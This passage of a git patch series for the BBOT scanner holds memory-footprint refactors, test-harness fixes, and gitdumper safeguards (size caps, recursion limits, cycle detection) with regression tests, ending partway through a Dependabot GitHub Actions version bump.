+ every event leaks +1 on its consumer count (worker would normally + pair the increment with a ``_minimize()`` call in its ``finally`` + block, but there is no worker here). The leak prevents + ``_minimize()``'s ``<= 0`` block from ever firing — bodies stay in + memory / spill files stay on disk for the entire scan. + """ + watched_events = ["*"] meta = {"description": "Output via Python API", "created_date": "2022-09-13", "author": "@TheTechromancer"} async def _worker(self): pass + + def _increment_consumer_count(self, event): + # No-op: see class docstring. The standard increment would leak + # because there's no worker to pair it with a `_minimize()` call. + pass diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index 35829e217f..df707f7b3d 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -125,7 +125,24 @@ async def module_test( await asyncio.gather(*tasks, return_exceptions=True) async def _execute_scan(self, module_test): - """Execute the scan and collect events. Can be overridden by benchmark classes.""" + """Execute the scan and collect events. Can be overridden by benchmark classes. + + Models ``check()`` as a downstream event consumer: tests routinely + assert on heavy fields (body, raw_header, original_value, etc.) + in ``check()`` after iteration completes. To prevent + ``_minimize()`` from stripping those fields before the test sees + them, we restore the standard ``_increment_consumer_count`` + behavior on the ``python`` output module (which normally no-ops + the bump because it has no real worker — see + ``bbot/modules/output/python.py``). The extra +1 keeps each + event's consumer count above zero through scan completion, so + the strip block never fires. Events GC at test teardown. + """ + py_mod = module_test.scan.modules.get("python") + if py_mod is not None: + from bbot.modules.base import BaseModule + + py_mod._increment_consumer_count = BaseModule._increment_consumer_count.__get__(py_mod) module_test.events = [e async for e in module_test.scan.async_start()] @pytest.mark.asyncio From c1f2677c71cb89decf1cc08596f32bf0941b585f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 8 May 2026 14:14:26 -0400 Subject: [PATCH 620/912] fix python-module consumer-counter restore for non-module tests MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The previous fix (per-scan restore inside ModuleTestBase._execute_scan) only covered module tests in test_step_2/module_tests/. Other tests that collect events with `events = [e async for e in scan.async_start()]` and read heavy fields (body, resolved_hosts, etc.) after iteration — e.g. test_step_1/test_dns.py::test_wildcards — still hit the strip because their scans use the production no-op _increment_consumer_count. Move the restore to a session-wide loader hook in conftest.py. ModuleLoader.load_module exec's a fresh module spec each call, so each Scanner gets a brand-new `python` class object — patching the imported class via `from bbot.modules.output.python import python; python._increment_consumer_count = ...` doesn't reach those instances (verified: `is same as imported python? False`). Wrapping the loader catches every freshly-materialized class at load time. --- bbot/test/conftest.py | 38 ++++++++++++++++++++++ bbot/test/test_step_2/module_tests/base.py | 19 +---------- 2 files changed, 39 insertions(+), 18 deletions(-) diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index b3b1b909f1..40b7180ece 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -49,6 +49,44 @@ def silence_live_logging(): handler.setLevel(logging.CRITICAL) +def _patch_python_module_loader(): + """Restore the standard ``_module_consumers`` bump on the ``python`` output + module for every test scan. + + In production, ``python._increment_consumer_count`` is a no-op (its + ``_worker`` is also no-op — see ``bbot/modules/output/python.py``), + so events flowing through ``async_start`` don't pin themselves and + ``_minimize()`` correctly strips heavy fields when their pipeline + finishes. But module + integration tests routinely do + ``events = [e async for e in scan.async_start()]`` and assert on + ``event.tags`` / ``event.resolved_hosts`` / ``event.body`` / etc. + *after* the scan completes — so for tests we want the standard + increment to fire, which keeps events pinned through assertion time. + + BBOT's ``ModuleLoader.load_module`` exec's a fresh module spec each + call, so each Scanner gets a brand-new ``python`` *class object*, + not the one we'd see by importing ``bbot.modules.output.python`` + statically. Patching the imported class therefore has no effect. + Instead we wrap the loader: every time a fresh ``python`` class is + materialized, restore the increment on it. + """ + from bbot.core.modules import ModuleLoader + from bbot.modules.base import BaseModule + + orig = ModuleLoader.load_module + + def patched(self, module_name): + cls = orig(self, module_name) + if module_name == "python": + cls._increment_consumer_count = BaseModule._increment_consumer_count + return cls + + ModuleLoader.load_module = patched + + +_patch_python_module_loader() + + def stop_server(server): server.stop() while server.is_running(): diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index df707f7b3d..35829e217f 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -125,24 +125,7 @@ async def module_test( await asyncio.gather(*tasks, return_exceptions=True) async def _execute_scan(self, module_test): - """Execute the scan and collect events. Can be overridden by benchmark classes. - - Models ``check()`` as a downstream event consumer: tests routinely - assert on heavy fields (body, raw_header, original_value, etc.) - in ``check()`` after iteration completes. To prevent - ``_minimize()`` from stripping those fields before the test sees - them, we restore the standard ``_increment_consumer_count`` - behavior on the ``python`` output module (which normally no-ops - the bump because it has no real worker — see - ``bbot/modules/output/python.py``). The extra +1 keeps each - event's consumer count above zero through scan completion, so - the strip block never fires. Events GC at test teardown. - """ - py_mod = module_test.scan.modules.get("python") - if py_mod is not None: - from bbot.modules.base import BaseModule - - py_mod._increment_consumer_count = BaseModule._increment_consumer_count.__get__(py_mod) + """Execute the scan and collect events. Can be overridden by benchmark classes.""" module_test.events = [e async for e in module_test.scan.async_start()] @pytest.mark.asyncio From 78eea8f88b165180e11c671969d3c4c744123de4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 8 May 2026 14:57:51 -0400 Subject: [PATCH 621/912] trim per-event memory footprint via lazy-init heavy fields MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The four heavy event containers (_tags, _resolved_hosts, dns_children, raw_dns_records) were eagerly allocated as empty set/dict in __init__ — ~560 bytes per event regardless of whether they ever held anything. Switch to None-by-default with public properties returning shared empty frozenset/dict singletons. Mutations go through new helpers (add_resolved_host, update_resolved_hosts, add_dns_child, set_raw_dns_record) that lazy-allocate real containers on first write. Slots renamed dns_children → _dns_children and raw_dns_records → _raw_dns_records so the public attribute names can be properties. Per-event size: 1626 → 769 bytes for plain DNS_NAME (53% reduction), 1283 for tagged DNS_NAME, 1547 for URL_UNVERIFIED. Benchmark savings range 5-11 MB depending on event count; scales linearly to ~50-100 MB on a 100K-event production scan. Migrated mutation sites: dnsresolve, http, gowitness, asset_inventory. Also fixed a pre-existing typo in asset_inventory that was reading _dns_children (didn't exist) instead of dns_children. --- bbot/core/event/base.py | 82 ++++++++++++++++++++++---- bbot/modules/gowitness.py | 2 +- bbot/modules/http.py | 2 +- bbot/modules/internal/dnsresolve.py | 11 ++-- bbot/modules/output/asset_inventory.py | 3 +- 5 files changed, 77 insertions(+), 23 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index d87c920c6b..35c21de8d0 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -50,6 +50,16 @@ log = logging.getLogger("bbot.core.event") +# Shared empty defaults for lazy-init slots. Returned from property accessors +# when the underlying slot is None — saves ~560 bytes per event compared to +# allocating real empty containers (set/dict) at __init__ time. Mutating +# helpers (add_tag, add_resolved_host, etc.) replace the slot with a real +# container before mutating, so callers never see the singletons in a +# mutable position. +_EMPTY_FROZENSET: "frozenset[str]" = frozenset() +_EMPTY_DICT: "dict" = {} + + class BaseEvent: """ Represents a piece of data discovered during a BBOT scan. @@ -161,9 +171,12 @@ class BaseEvent: "_internal", "_dummy", "_module", - # DNS-related attributes - "dns_children", - "raw_dns_records", + # DNS-related attributes — backing slots; public access via the + # ``dns_children`` / ``raw_dns_records`` properties so a None + # underlying slot transparently reads as an empty dict (lazy-init + # saves ~128 bytes per event). + "_dns_children", + "_raw_dns_records", "dns_resolve_distance", # Host metadata (cloud providers, ASN, whois, etc.) "_host_metadata", @@ -213,7 +226,10 @@ def __init__( self._hash = None self._data = None self.__host = None - self._tags = set() + # Lazy-init: replaced with a real set/dict on first mutation. + # Reading via the property returns a shared empty frozenset/dict + # so callers never see None. + self._tags = None self._port = None self._omit = False self.__words = None @@ -225,9 +241,9 @@ def __init__( self._scope_distance = None self._module_priority = None self._graph_important = False - self._resolved_hosts = set() - self.dns_children = {} - self.raw_dns_records = {} + self._resolved_hosts = None + self._dns_children = None + self._raw_dns_records = None self._discovery_context = "" self._module_consumers = 0 @@ -292,7 +308,44 @@ def resolved_hosts(self): return { self.host, } - return self._resolved_hosts + return self._resolved_hosts if self._resolved_hosts is not None else _EMPTY_FROZENSET + + def add_resolved_host(self, host): + """Add a host to ``_resolved_hosts``, lazy-allocating the set.""" + if self._resolved_hosts is None or isinstance(self._resolved_hosts, frozenset): + # promote shared singleton / empty to a real mutable set + self._resolved_hosts = set(self._resolved_hosts) if self._resolved_hosts else set() + self._resolved_hosts.add(host) + + def update_resolved_hosts(self, hosts): + """Add multiple hosts to ``_resolved_hosts``, lazy-allocating the set.""" + if self._resolved_hosts is None or isinstance(self._resolved_hosts, frozenset): + self._resolved_hosts = set(self._resolved_hosts) if self._resolved_hosts else set() + self._resolved_hosts.update(hosts) + + @property + def dns_children(self): + return self._dns_children if self._dns_children is not None else _EMPTY_DICT + + @property + def raw_dns_records(self): + return self._raw_dns_records if self._raw_dns_records is not None else _EMPTY_DICT + + def add_dns_child(self, rdtype, host): + """Record a DNS child host under ``rdtype``, lazy-allocating dict + child set.""" + if self._dns_children is None: + self._dns_children = {} + existing = self._dns_children.get(rdtype) + if existing is None: + self._dns_children[rdtype] = {host} + else: + existing.add(host) + + def set_raw_dns_record(self, rdtype, answers): + """Store the raw DNS answer list for ``rdtype``, lazy-allocating the dict.""" + if self._raw_dns_records is None: + self._raw_dns_records = {} + self._raw_dns_records[rdtype] = answers @data.setter def data(self, data): @@ -474,7 +527,7 @@ def _words(self): @property def tags(self): - return self._tags + return self._tags if self._tags is not None else _EMPTY_FROZENSET @tags.setter def tags(self, tags): @@ -485,6 +538,8 @@ def tags(self, tags): self.add_tag(tag) def add_tag(self, tag): + if self._tags is None: + self._tags = set() self._tags.add(sys.intern(tagify(tag))) def add_tags(self, tags): @@ -492,6 +547,8 @@ def add_tags(self, tags): self.add_tag(tag) def remove_tag(self, tag): + if not self._tags: + return with suppress(KeyError): self._tags.remove(sys.intern(tagify(tag))) @@ -704,9 +761,10 @@ def _minimize(self): """ self._module_consumers = max(0, self._module_consumers - 1) if self._module_consumers <= 0: - self.dns_children = {} - self.raw_dns_records = {} - self._resolved_hosts = set() + # release container slots; lazy-init pattern means None == empty + self._dns_children = None + self._raw_dns_records = None + self._resolved_hosts = None def clone(self): # Create a shallow copy of the event first diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index b26018d58c..147981b0cb 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -244,7 +244,7 @@ async def handle_batch(self, *events): context=f"{{module}} visited {{event.type}}: {url}", ) if url_event and ip: - url_event._resolved_hosts.add(sys.intern(ip)) + url_event.add_resolved_host(sys.intern(ip)) await self.emit_event(url_event) # emit technologies diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 04406399d8..cb8d9c4438 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -212,7 +212,7 @@ async def _process_result(self, result, parent_event): if url_event: response_ip = j.get("host", "") if response_ip: - url_event._resolved_hosts.add(response_ip) + url_event.add_resolved_host(response_ip) title = j.get("title", "") if title: url_event.http_title = title diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index 2e90c5f9f8..a509f87518 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -243,11 +243,11 @@ async def emit_dns_children_raw(self, event, dns_tags): def check_scope(self, event): in_target = False blacklisted = False - dns_children = getattr(event, "dns_children", {}) + dns_children = event.dns_children for rdtype in ("A", "AAAA", "CNAME"): hosts = dns_children.get(rdtype, []) # update resolved hosts - event.resolved_hosts.update(sys.intern(h) for h in hosts) + event.update_resolved_hosts(sys.intern(h) for h in hosts) for host in hosts: # having a CNAME to an in-scope host doesn't make you in-scope if rdtype != "CNAME": @@ -286,15 +286,12 @@ async def resolve_event(self, event, types): event.add_tag(f"{rdtype}-record") # blastdns hands us an already-unique list[Record] -- store as-is, no copy - event.raw_dns_records[rdtype] = answers + event.set_raw_dns_record(rdtype, answers) for answer in answers: for _rdtype, host in extract_targets(answer): _rdtype = sys.intern(_rdtype) host = sys.intern(host) - try: - event.dns_children[_rdtype].add(host) - except KeyError: - event.dns_children[_rdtype] = {host} + event.add_dns_child(_rdtype, host) # check for private IPs try: ip = ipaddress.ip_address(host) diff --git a/bbot/modules/output/asset_inventory.py b/bbot/modules/output/asset_inventory.py index 7901d6ac8b..bd3b54370b 100644 --- a/bbot/modules/output/asset_inventory.py +++ b/bbot/modules/output/asset_inventory.py @@ -291,8 +291,7 @@ def absorb_event(self, event): if not is_ip(event.host): self.host = event.host - dns_children = getattr(event, "_dns_children", {}) - for rdtype, records in sorted(dns_children.items(), key=lambda x: x[0]): + for rdtype, records in sorted(event.dns_children.items(), key=lambda x: x[0]): for record in sorted([str(r) for r in records]): self.dns_records.add(f"{rdtype}:{record}") From ac0c6e9dd31166c43fbca3ea29f44102b3591db0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 8 May 2026 16:35:26 -0400 Subject: [PATCH 622/912] fix gitdumper regex_files cwd-walk via mutable default args MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit regex_files defaulted folder=Path() and file=Path(); both evaluate as PosixPath('.') which is truthy AND a directory. Calling regex_files(file=foo) silently ALSO walked the entire current working directory, decoding every file into a Python string and running regex over it. With many CODE_REPOSITORY events this allocated 100+ GB (observed in production: 105 GB across 5 calls). Fix uses None defaults with explicit `is not None` checks. Also caps per-file regex scan at 10 MB — real git ref/object/info files are small; oversized usually means a webserver returned an HTML error page instead of the requested git path. Adds a regression test that fails on the old code (asserts a decoy file in cwd is NOT scanned when only file= is passed). --- bbot/modules/gitdumper.py | 43 ++++++++++++------- .../test_step_1/test_gitdumper_regex_files.py | 36 ++++++++++++++++ 2 files changed, 63 insertions(+), 16 deletions(-) create mode 100644 bbot/test/test_step_1/test_gitdumper_regex_files.py diff --git a/bbot/modules/gitdumper.py b/bbot/modules/gitdumper.py index 71ce02a338..bf10120d87 100644 --- a/bbot/modules/gitdumper.py +++ b/bbot/modules/gitdumper.py @@ -201,27 +201,38 @@ async def download_git_packs(self, url, folder): if url_list: await self.download_files(url_list, folder) - async def regex_files(self, regex, folder=Path(), file=Path(), files=[]): + # Skip regex scan for files larger than this — real git ref/object/info + # files are small; oversized is almost always a webserver returning HTML. + _regex_file_max_bytes = 10 * 1024 * 1024 + + async def regex_files(self, regex, folder=None, file=None, files=()): results = [] - if folder: - if folder.is_dir(): - for file_path in folder.rglob("*"): - if file_path.is_file(): - results.extend(await self.regex_file(regex, file_path)) + if folder is not None and folder.is_dir(): + for file_path in folder.rglob("*"): + if file_path.is_file(): + results.extend(await self.regex_file(regex, file_path)) if files: - for file in files: - results.extend(await self.regex_file(regex, file)) - if file: + for f in files: + results.extend(await self.regex_file(regex, f)) + if file is not None: results.extend(await self.regex_file(regex, file)) return results - async def regex_file(self, regex, file=Path()): - if file.exists() and file.is_file(): - with file.open("r", encoding="utf-8", errors="ignore") as file: - content = file.read() - matches = await self.helpers.re.findall(regex, content) - if matches: - return matches + async def regex_file(self, regex, file=None): + if file is None or not (file.exists() and file.is_file()): + return [] + try: + size = file.stat().st_size + except OSError: + return [] + if size > self._regex_file_max_bytes: + self.debug(f"Skipping regex scan of {file} ({size} bytes)") + return [] + with file.open("r", encoding="utf-8", errors="ignore") as fh: + content = fh.read() + matches = await self.helpers.re.findall(regex, content) + if matches: + return matches return [] async def download_object(self, object, repo_url, repo_folder): diff --git a/bbot/test/test_step_1/test_gitdumper_regex_files.py b/bbot/test/test_step_1/test_gitdumper_regex_files.py new file mode 100644 index 0000000000..e6587fe4b2 --- /dev/null +++ b/bbot/test/test_step_1/test_gitdumper_regex_files.py @@ -0,0 +1,36 @@ +"""Regression test for the cwd-walking bug in ``gitdumper.regex_files``. + +When the ``folder=`` arg defaulted to ``Path()``, calling +``regex_files(file=foo)`` silently scanned the entire current working +directory in addition to the requested file — decoding every file in +the cwd into a Python string and running regex over it. With many +``CODE_REPOSITORY`` events that allocated 100+ GB. +""" + +import pytest + +from ..bbot_fixtures import * # noqa: F401, F403 + + +@pytest.mark.asyncio +async def test_regex_files_does_not_walk_cwd(bbot_scanner, tmp_path, monkeypatch): + """``regex_files(file=foo)`` must scan only ``foo`` — not the cwd.""" + target = tmp_path / "head" + target.write_text("ref: refs/heads/main\n") + + decoy_cwd = tmp_path / "cwd" + decoy_cwd.mkdir() + (decoy_cwd / "decoy.txt").write_text("ref: refs/heads/should_not_match\n") + monkeypatch.chdir(decoy_cwd) + + scan = bbot_scanner("evilcorp.com", modules=["gitdumper"]) + await scan._prep() + try: + gitdumper = scan.modules["gitdumper"] + regex = gitdumper.helpers.re.compile(r"ref: refs/heads/([a-zA-Z\d_-]+)") + results = await gitdumper.regex_files(regex, file=target) + + assert "main" in results, "expected the requested file to be scanned" + assert "should_not_match" not in results, "regex_files walked the cwd in addition to the requested file" + finally: + await scan._cleanup() From 5df3903836a2d26d39634ec5dfa532620c813bd8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 8 May 2026 16:45:56 -0400 Subject: [PATCH 623/912] gitdumper: add download size cap, recursion limit, cycle detection MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three additional safeguards layered on top of the cwd-walk fix: 1. download_files now passes max_size=10MB to helpers.download. Previous default (500MB from web helper) accepted arbitrarily large responses for any probed git path. 2. download_object recursion is capped at 100 levels. Real git object graphs are shallow; deeper means an unbounded chain of object references (malicious or corrupt repo). 3. download_object now tracks visited object hashes and skips duplicates. Cyclic tree references (A → B → A) no longer recurse forever. Each safeguard has a regression test in test_gitdumper_safeguards.py that fails on the unfixed code (verified) and passes after. --- bbot/modules/gitdumper.py | 25 +++- .../test_step_1/test_gitdumper_regex_files.py | 36 ----- .../test_step_1/test_gitdumper_safeguards.py | 141 ++++++++++++++++++ 3 files changed, 163 insertions(+), 39 deletions(-) delete mode 100644 bbot/test/test_step_1/test_gitdumper_regex_files.py create mode 100644 bbot/test/test_step_1/test_gitdumper_safeguards.py diff --git a/bbot/modules/gitdumper.py b/bbot/modules/gitdumper.py index bf10120d87..9fe23a20af 100644 --- a/bbot/modules/gitdumper.py +++ b/bbot/modules/gitdumper.py @@ -204,6 +204,13 @@ async def download_git_packs(self, url, folder): # Skip regex scan for files larger than this — real git ref/object/info # files are small; oversized is almost always a webserver returning HTML. _regex_file_max_bytes = 10 * 1024 * 1024 + # Cap download size per file. Real git files are tiny (refs/HEAD <1KB, + # index a few KB) or pack files (10s of MB legit). Anything bigger is + # a misconfigured / malicious server returning an error page. + _download_max_size = "10MB" + # Cap how deep ``download_object`` recursion can go. Real git object + # graphs are shallow (commit → tree → blob, depth 10-20 in practice). + _download_object_max_depth = 100 async def regex_files(self, regex, folder=None, file=None, files=()): results = [] @@ -235,13 +242,25 @@ async def regex_file(self, regex, file=None): return matches return [] - async def download_object(self, object, repo_url, repo_folder): + async def download_object(self, object, repo_url, repo_folder, _seen=None, _depth=0): + if _seen is None: + _seen = set() + # cycle detection — git tree objects can reference each other in + # malformed/malicious repos + if object in _seen: + return + _seen.add(object) + # depth cap — even without cycles, an unbounded tree would burn + # stack frames + memory per frame + if _depth >= self._download_object_max_depth: + self.debug(f"download_object: hit max recursion depth at {object}") + return await self.download_files( [self.helpers.urlparse(self.helpers.urljoin(repo_url, f"objects/{object[:2]}/{object[2:]}"))], repo_folder ) output = await self.git_catfile(object, option="-p", folder=repo_folder) for obj in await self.helpers.re.findall(self.obj_regex, output): - await self.download_object(obj, repo_url, repo_folder) + await self.download_object(obj, repo_url, repo_folder, _seen=_seen, _depth=_depth + 1) async def download_files(self, urls, folder): for url in urls: @@ -251,7 +270,7 @@ async def download_files(self, urls, folder): self.helpers.mkdir(filename.parent) if hash(str(file_url)) not in self.urls_downloaded: self.verbose(f"Downloading {file_url} to {filename}") - await self.helpers.download(file_url, filename=filename, warn=False) + await self.helpers.download(file_url, filename=filename, warn=False, max_size=self._download_max_size) self.urls_downloaded.add(hash(str(file_url))) if any(folder.rglob("*")): return True diff --git a/bbot/test/test_step_1/test_gitdumper_regex_files.py b/bbot/test/test_step_1/test_gitdumper_regex_files.py deleted file mode 100644 index e6587fe4b2..0000000000 --- a/bbot/test/test_step_1/test_gitdumper_regex_files.py +++ /dev/null @@ -1,36 +0,0 @@ -"""Regression test for the cwd-walking bug in ``gitdumper.regex_files``. - -When the ``folder=`` arg defaulted to ``Path()``, calling -``regex_files(file=foo)`` silently scanned the entire current working -directory in addition to the requested file — decoding every file in -the cwd into a Python string and running regex over it. With many -``CODE_REPOSITORY`` events that allocated 100+ GB. -""" - -import pytest - -from ..bbot_fixtures import * # noqa: F401, F403 - - -@pytest.mark.asyncio -async def test_regex_files_does_not_walk_cwd(bbot_scanner, tmp_path, monkeypatch): - """``regex_files(file=foo)`` must scan only ``foo`` — not the cwd.""" - target = tmp_path / "head" - target.write_text("ref: refs/heads/main\n") - - decoy_cwd = tmp_path / "cwd" - decoy_cwd.mkdir() - (decoy_cwd / "decoy.txt").write_text("ref: refs/heads/should_not_match\n") - monkeypatch.chdir(decoy_cwd) - - scan = bbot_scanner("evilcorp.com", modules=["gitdumper"]) - await scan._prep() - try: - gitdumper = scan.modules["gitdumper"] - regex = gitdumper.helpers.re.compile(r"ref: refs/heads/([a-zA-Z\d_-]+)") - results = await gitdumper.regex_files(regex, file=target) - - assert "main" in results, "expected the requested file to be scanned" - assert "should_not_match" not in results, "regex_files walked the cwd in addition to the requested file" - finally: - await scan._cleanup() diff --git a/bbot/test/test_step_1/test_gitdumper_safeguards.py b/bbot/test/test_step_1/test_gitdumper_safeguards.py new file mode 100644 index 0000000000..0ba36e849f --- /dev/null +++ b/bbot/test/test_step_1/test_gitdumper_safeguards.py @@ -0,0 +1,141 @@ +"""Regression tests for ``gitdumper`` safeguards against pathological / malicious +git layouts. + +Each test demonstrates a failure mode that would either leak memory, hang, or +recurse without bound on the unfixed code. +""" + +import pytest + +from ..bbot_fixtures import * # noqa: F401, F403 + + +@pytest.mark.asyncio +async def test_regex_files_does_not_walk_cwd(bbot_scanner, tmp_path, monkeypatch): + """``regex_files(file=foo)`` must scan only ``foo`` — not the cwd.""" + target = tmp_path / "head" + target.write_text("ref: refs/heads/main\n") + + decoy_cwd = tmp_path / "cwd" + decoy_cwd.mkdir() + (decoy_cwd / "decoy.txt").write_text("ref: refs/heads/should_not_match\n") + monkeypatch.chdir(decoy_cwd) + + scan = bbot_scanner("evilcorp.com", modules=["gitdumper"]) + await scan._prep() + try: + gitdumper = scan.modules["gitdumper"] + regex = gitdumper.helpers.re.compile(r"ref: refs/heads/([a-zA-Z\d_-]+)") + results = await gitdumper.regex_files(regex, file=target) + + assert "main" in results, "expected the requested file to be scanned" + assert "should_not_match" not in results, "regex_files walked the cwd in addition to the requested file" + finally: + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_download_files_caps_max_size(bbot_scanner, tmp_path, monkeypatch): + """``download_files`` must pass an explicit ``max_size`` to ``helpers.download``. + + Without it, a misconfigured / malicious server can return up to 500 MB + (the web helper default) per probed git path. Real git refs/info files + are tiny, so capping at a few MB shuts down a whole class of abuse. + """ + scan = bbot_scanner("evilcorp.com", modules=["gitdumper"]) + await scan._prep() + try: + gitdumper = scan.modules["gitdumper"] + seen_kwargs = [] + + async def traced_download(url, **kwargs): + seen_kwargs.append(kwargs) + return None + + monkeypatch.setattr(gitdumper.helpers, "download", traced_download) + + url = gitdumper.helpers.urlparse("http://example.com/.git/HEAD") + await gitdumper.download_files([url], tmp_path) + + assert seen_kwargs, "expected helpers.download to be called" + for call in seen_kwargs: + assert "max_size" in call, "max_size must be passed to helpers.download" + finally: + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_download_object_caps_recursion_depth(bbot_scanner, tmp_path, monkeypatch): + """``download_object`` must bound recursion depth. + + Mocks ``git_catfile`` so every object's output yields a fresh new hash, + creating an infinite chain. With no cap we'd recurse until Python's + stack limit (or the OS kills us). With a cap we stop at a finite depth. + """ + scan = bbot_scanner("evilcorp.com", modules=["gitdumper"]) + await scan._prep() + try: + gitdumper = scan.modules["gitdumper"] + + async def nop_download_files(urls, folder): + return True + + monkeypatch.setattr(gitdumper, "download_files", nop_download_files) + + counter = [0] + + async def fake_catfile(hash_, option="-t", folder=None): + counter[0] += 1 + new_hash = f"{counter[0]:040x}" + return f"object content with {new_hash}" + + monkeypatch.setattr(gitdumper, "git_catfile", fake_catfile) + + await gitdumper.download_object("0" * 40, "http://example.com", tmp_path) + + # If recursion is bounded, counter stays well below Python's stack limit. + # We just need to confirm it didn't spiral out — anything < 500 means + # the cap is in effect. + assert counter[0] < 500, f"download_object recursed {counter[0]} levels — cap not in effect" + finally: + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_download_object_detects_cycles(bbot_scanner, tmp_path, monkeypatch): + """``download_object`` must not re-process an object hash it has + already visited. Malicious or corrupt git repos can have cyclic + references.""" + scan = bbot_scanner("evilcorp.com", modules=["gitdumper"]) + await scan._prep() + try: + gitdumper = scan.modules["gitdumper"] + + async def nop_download_files(urls, folder): + return True + + monkeypatch.setattr(gitdumper, "download_files", nop_download_files) + + hash_a = "a" * 40 + hash_b = "b" * 40 + catfile_calls = [] + + async def fake_catfile(hash_, option="-t", folder=None): + catfile_calls.append(hash_) + if hash_ == hash_a: + return f"references {hash_b}" + if hash_ == hash_b: + return f"references {hash_a}" # cycle back + return "" + + monkeypatch.setattr(gitdumper, "git_catfile", fake_catfile) + + await gitdumper.download_object(hash_a, "http://example.com", tmp_path) + + # With cycle detection: A -> B -> stop (A already seen). 2 catfile calls. + # Without: infinite, eventually RecursionError. + assert len(catfile_calls) <= 2, ( + f"download_object did not detect cycle (called catfile {len(catfile_calls)} times)" + ) + finally: + await scan._cleanup() From 01e482d78c0847882e43e84781e882b81cf4aada Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 10 May 2026 04:43:28 +0000 Subject: [PATCH 624/912] Bump the github-actions group across 1 directory with 7 updates Bumps the github-actions group with 7 updates in the / directory: | Package | From | To | | --- | --- | --- | | [actions/github-script](https://github.com/actions/github-script) | `8` | `9` | | [actions/create-github-app-token](https://github.com/actions/create-github-app-token) | `1` | `3` | | [codecov/codecov-action](https://github.com/codecov/codecov-action) | `5` | `6` | | [docker/setup-buildx-action](https://github.com/docker/setup-buildx-action) | `3` | `4` | | [docker/login-action](https://github.com/docker/login-action) | `3` | `4` | | [pypa/gh-action-pypi-publish@release/v1.13](https://github.com/pypa/gh-action-pypi-publish) | `1.13` | `1.14` | | [docker/build-push-action](https://github.com/docker/build-push-action) | `6` | `7` | Updates `actions/github-script` from 8 to 9 - [Release notes](https://github.com/actions/github-script/releases) - [Commits](https://github.com/actions/github-script/compare/v8...v9) Updates `actions/create-github-app-token` from 1 to 3 - [Release notes](https://github.com/actions/create-github-app-token/releases) - [Commits](https://github.com/actions/create-github-app-token/compare/v1...v3) Updates `codecov/codecov-action` from 5 to 6 - [Release notes](https://github.com/codecov/codecov-action/releases) - [Changelog](https://github.com/codecov/codecov-action/blob/main/CHANGELOG.md) - [Commits](https://github.com/codecov/codecov-action/compare/v5...v6) Updates `docker/setup-buildx-action` from 3 to 4 - [Release notes](https://github.com/docker/setup-buildx-action/releases) - [Commits](https://github.com/docker/setup-buildx-action/compare/v3...v4) Updates `docker/login-action` from 3 to 4 - [Release notes](https://github.com/docker/login-action/releases) - [Commits](https://github.com/docker/login-action/compare/v3...v4) Updates `pypa/gh-action-pypi-publish@release/v1.13` from 1.13 to 1.14 - [Release notes](https://github.com/pypa/gh-action-pypi-publish/releases) - [Commits](https://github.com/pypa/gh-action-pypi-publish/compare/release/v1.13...release/v1.14) Updates `docker/build-push-action` from 6 to 7 - [Release notes](https://github.com/docker/build-push-action/releases) - [Commits](https://github.com/docker/build-push-action/compare/v6...v7) --- updated-dependencies: - dependency-name: actions/create-github-app-token dependency-version: '3' dependency-type: direct:production update-type: version-update:semver-major dependency-group: github-actions - dependency-name: actions/github-script dependency-version: '9' dependency-type: direct:production update-type: version-update:semver-major dependency-group: github-actions - dependency-name: codecov/codecov-action dependency-version: '6' dependency-type: direct:production update-type: version-update:semver-major dependency-group: github-actions - dependency-name: docker/build-push-action dependency-version: '7' dependency-type: direct:production update-type: version-update:semver-major dependency-group: github-actions - dependency-name: docker/login-action dependency-version: '4' dependency-type: direct:production update-type: version-update:semver-major dependency-group: github-actions - dependency-name: docker/setup-buildx-action dependency-version: '4' dependency-type: direct:production update-type: version-update:semver-major dependency-group: github-actions - dependency-name: pypa/gh-action-pypi-publish@release/v1.13 dependency-version: '1.14' dependency-type: direct:production update-type: version-update:semver-minor dependency-group: github-actions ... Signed-off-by: dependabot[bot] --- .github/workflows/benchmark.yml | 2 +- .github/workflows/cla.yml | 2 +- .github/workflows/tests.yml | 16 ++++++++-------- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index cf61f78b6d..9bc476bb29 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -63,7 +63,7 @@ jobs: # Comment on PR with benchmark results - name: Comment benchmark results on PR - uses: actions/github-script@v8 + uses: actions/github-script@v9 with: script: | const fs = require('fs'); diff --git a/.github/workflows/cla.yml b/.github/workflows/cla.yml index 3fadea2fe3..ecb38fc933 100644 --- a/.github/workflows/cla.yml 